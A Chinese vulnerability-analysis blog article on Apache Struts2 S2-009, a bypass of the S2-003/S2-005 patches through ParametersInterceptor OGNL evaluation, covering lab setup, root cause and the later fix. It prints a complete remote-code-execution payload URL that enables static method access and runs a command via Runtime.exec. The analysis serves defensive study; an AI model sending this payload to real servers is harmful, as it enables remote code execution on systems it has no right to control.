百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程字典 > 正文

Struts2 漏洞分析系列 - S2-009/003与005的补丁绕过

toyiye 2024-08-24 00:24 4 浏览 0 评论

0x00 漏洞概述

S2-009是S2-003与S2-005的补丁绕过,当时的补丁是增加了正则以及相关的限制(这些限制可以通过执行OGNL表达式进行修改),主要的防御还是正则。

这次的问题还是出现在ParameterInterceptor这个拦截器上,其漏洞原理类似于二次注入,先将Payload注入到上下文中,取出来时通过某个特定语法就可以执行之前设置过的Payload。

影响版本:2.0.0 – 2.3.1.1

官方issue地址:https://cwiki.apache.org/confluence/display/WW/S2-009

0x01 环境搭建

首先编写一个最简单的Action类,其中只需要存在一个属性即可:

public class TestAction {
    private String message;

    public String getMessage() {
        return message;
    }

    public void setMessage(String message) {
        this.message = message;
    }

    public String execute() throws Exception {
        return "success";
    }
}

接着编写struts.xml用于定义路由:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">

<struts>
    <package name="st2-demo" extends="struts-default">
        <action name="test" class="TestAction">
            <result name="success">index.jsp</result>
        </action>
    </package>
</struts>

最后老规矩,定义一个Filter:

<filter>
  <filter-name>struts2</filter-name>
  <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>

<filter-mapping>
      <filter-name>struts2</filter-name>
      <url-pattern>/*</url-pattern>
</filter-mapping>

0x02 漏洞分析

ParameterInterceptor的作用就是将当前请求中的参数与Bean中的属性绑定在一起,所以http://127.0.0.1:8080/test.action?message=xxx会将xxx这个值赋到当前请求对象TestAction的message属性中,在setValue调用完毕后可以通过getValue取出来:

接下来会继续对下一个参数进行解析,通过S2-003与S2-005的分析中我们得知,如果能够通过ParameterInterceptor的相关验证逻辑,那么是会对参数名进行一次OGNL表达式解析的,S2-003与S2-005的漏洞也出于此,后续的修复方案是增加了静态方法相关的禁用以及一个用于验证参数名的正则。

但是在S2-009中我们可以通过top['message']的方式获取到刚刚赋到message属性上的值,并通过()执行OGNL表达式解析,并且top['message']是符合正则条件的:

所以完整的Payload如下(实际情况利用时需要进行URL编码):

http://localhost:8082/test.action?message=#context['xwork.MethodAccessor.denyMethodExecution']=false,#_memberAccess["allowStaticMethodAccess"]=new java.lang.Boolean(true),@java.lang.Runtime@getRuntime().exec('open -a /System/Applications/Calculator.app'),#request&top['message'](0)

0x03 修复方案

这次漏洞修复体现在多处代码,首先就是ParametersInterceptor中,其将原先调用的setValue修改为setParameter,将两者作为两个模块区分开了。

区别是什么呢?重点就是传给setValue的第四个参数:

public void setParameter(String expr, Object value) {
      this.setValue(expr, value, this.devMode, false);
}

public void setValue(String expr, Object value, boolean throwExceptionOnFailure) {
  this.setValue(expr, value, throwExceptionOnFailure, true);
}

可以发现,setParameter的第四个参数为false,而setValue的第四个参数为true,这影响到了后续的调用流程,让我们接着跟到最后的调用流程中:

protected void setValue(String name, Map<String, Object> context, Object root, Object value, boolean evalName) throws OgnlException {
        Object tree = this.compile(name);
        if (!evalName && this.isEvalExpression(tree, context)) {
            throw new OgnlException("Eval expression cannot be used as parameter name");
        } else {
            Ognl.setValue(tree, context, root, value);
        }
    }

这里会判断当前的name是否为evalName,此处为setParameter,因此evalName为false,所以这里为true,接着会通过isEvalExpression来判断当前的name是否符合要求。

private boolean isEvalExpression(Object tree, Map<String, Object> context) throws OgnlException {
        if (tree instanceof SimpleNode) {
            SimpleNode node = (SimpleNode)tree;
            return node.isEvalChain((OgnlContext)context);
        } else {
            return false;
        }
    }

isEvalExpression中会通过isEvalChain来判断当前的node是否为链式调用(先取值再执行就是链式调用),Debug一下会发现之前的Payload在此处已经返回true了,被标为危险的name,因此这里会直接抛出异常而不会进行接下来的OGNL表达式解析:

由于我们的Node会被解析为ASTEvalNode,其isEvalChain相关逻辑如下:

public boolean isEvalChain(OgnlContext context) throws OgnlException {
        return true;
    }

可以发现是直接返回true的,因此所有EvalNode都不能在这个漏洞点中使用了,如果想要继续挖掘只能换一个Node看看是否能进行二次解析或是能够达到与EvalNode相同作用(通过继承逻辑)。

上面是一个修复点,还有另外一个修复点在2.3.1.2中似乎没有启用,就是xx中的正则被修改为了:

\w+((\\.\\w+)|(\\[\\d+\\])|(\\(\\d+\\))|(\\['\\w+'\\])|(\\('\\w+'\\)))*

这个正则的作用是匹配name中的字母与数字,匹配不了特殊符号,我认为Struts2官方应该是想在这里取出name中不包含特殊符号的部分,接着通过setValue进行一个赋值,如下:

但不知道为什么在这个版本没有启用,我认为这算是一个比较好的修复方案,不会太影响后面的业务逻辑,直接从漏洞点出发而不是直接在底层封死了,可能Struts2有它们自己的考究吧。

本文由tlmn原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/261743
安全客 - 有思想的安全新媒体

相关推荐

# Python 3 # Python 3字典Dictionary(1)

Python3字典字典是另一种可变容器模型,且可存储任意类型对象。字典的每个键值(key=>value)对用冒号(:)分割,每个对之间用逗号(,)分割,整个字典包括在花括号({})中,格式如...

Python第八课:数据类型中的字典及其函数与方法

Python3字典字典是另一种可变容器模型,且可存储任意类型对象。字典的每个键值...

Python中字典详解(python 中字典)

字典是Python中使用键进行索引的重要数据结构。它们是无序的项序列(键值对),这意味着顺序不被保留。键是不可变的。与列表一样,字典的值可以保存异构数据,即整数、浮点、字符串、NaN、布尔值、列表、数...

Python3.9又更新了:dict内置新功能,正式版十月见面

机器之心报道参与:一鸣、JaminPython3.8的热乎劲还没过去,Python就又双叒叕要更新了。近日,3.9版本的第四个alpha版已经开源。从文档中,我们可以看到官方透露的对dic...

Python3 基本数据类型详解(python三种基本数据类型)

文章来源:加米谷大数据Python中的变量不需要声明。每个变量在使用前都必须赋值,变量赋值以后该变量才会被创建。在Python中,变量就是变量,它没有类型,我们所说的"类型"是变...

一文掌握Python的字典(python字典用法大全)

字典是Python中最强大、最灵活的内置数据结构之一。它们允许存储键值对,从而实现高效的数据检索、操作和组织。本文深入探讨了字典,涵盖了它们的创建、操作和高级用法,以帮助中级Python开发...

超级完整|Python字典详解(python字典的方法或操作)

一、字典概述01字典的格式Python字典是一种可变容器模型,且可存储任意类型对象,如字符串、数字、元组等其他容器模型。字典的每个键值key=>value对用冒号:分割,每个对之间用逗号,...

Python3.9版本新特性:字典合并操作的详细解读

处于测试阶段的Python3.9版本中有一个新特性:我们在使用Python字典时,将能够编写出更可读、更紧凑的代码啦!Python版本你现在使用哪种版本的Python?3.7分?3.5分?还是2.7...

python 自学,字典3(一些例子)(python字典有哪些基本操作)

例子11;如何批量复制字典里的内容2;如何批量修改字典的内容3;如何批量修改字典里某些指定的内容...

Python3.9中的字典合并和更新,几乎影响了所有Python程序员

全文共2837字,预计学习时长9分钟Python3.9正在积极开发,并计划于今年10月发布。2月26日,开发团队发布了alpha4版本。该版本引入了新的合并(|)和更新(|=)运算符,这个新特性几乎...

Python3大字典:《Python3自学速查手册.pdf》限时下载中

最近有人会想了,2022了,想学Python晚不晚,学习python有前途吗?IT行业行业薪资高,发展前景好,是很多求职群里严重的香饽饽,而要进入这个高薪行业,也不是那么轻而易举的,拿信工专业的大学生...

python学习——字典(python字典基本操作)

字典Python的字典数据类型是基于hash散列算法实现的,采用键值对(key:value)的形式,根据key的值计算value的地址,具有非常快的查取和插入速度。但它是无序的,包含的元素个数不限,值...

324页清华教授撰写【Python 3 菜鸟查询手册】火了,小白入门字典

如何入门学习python...

Python3.9中的字典合并和更新,了解一下

全文共2837字,预计学习时长9分钟Python3.9正在积极开发,并计划于今年10月发布。2月26日,开发团队发布了alpha4版本。该版本引入了新的合并(|)和更新(|=)运算符,这个新特性几乎...

python3基础之字典(python中字典的基本操作)

字典和列表一样,也是python内置的一种数据结构。字典的结构如下图:列表用中括号[]把元素包起来,而字典是用大括号{}把元素包起来,只不过字典的每一个元素都包含键和值两部分。键和值是一一对应的...

取消回复欢迎 发表评论:

请填写验证码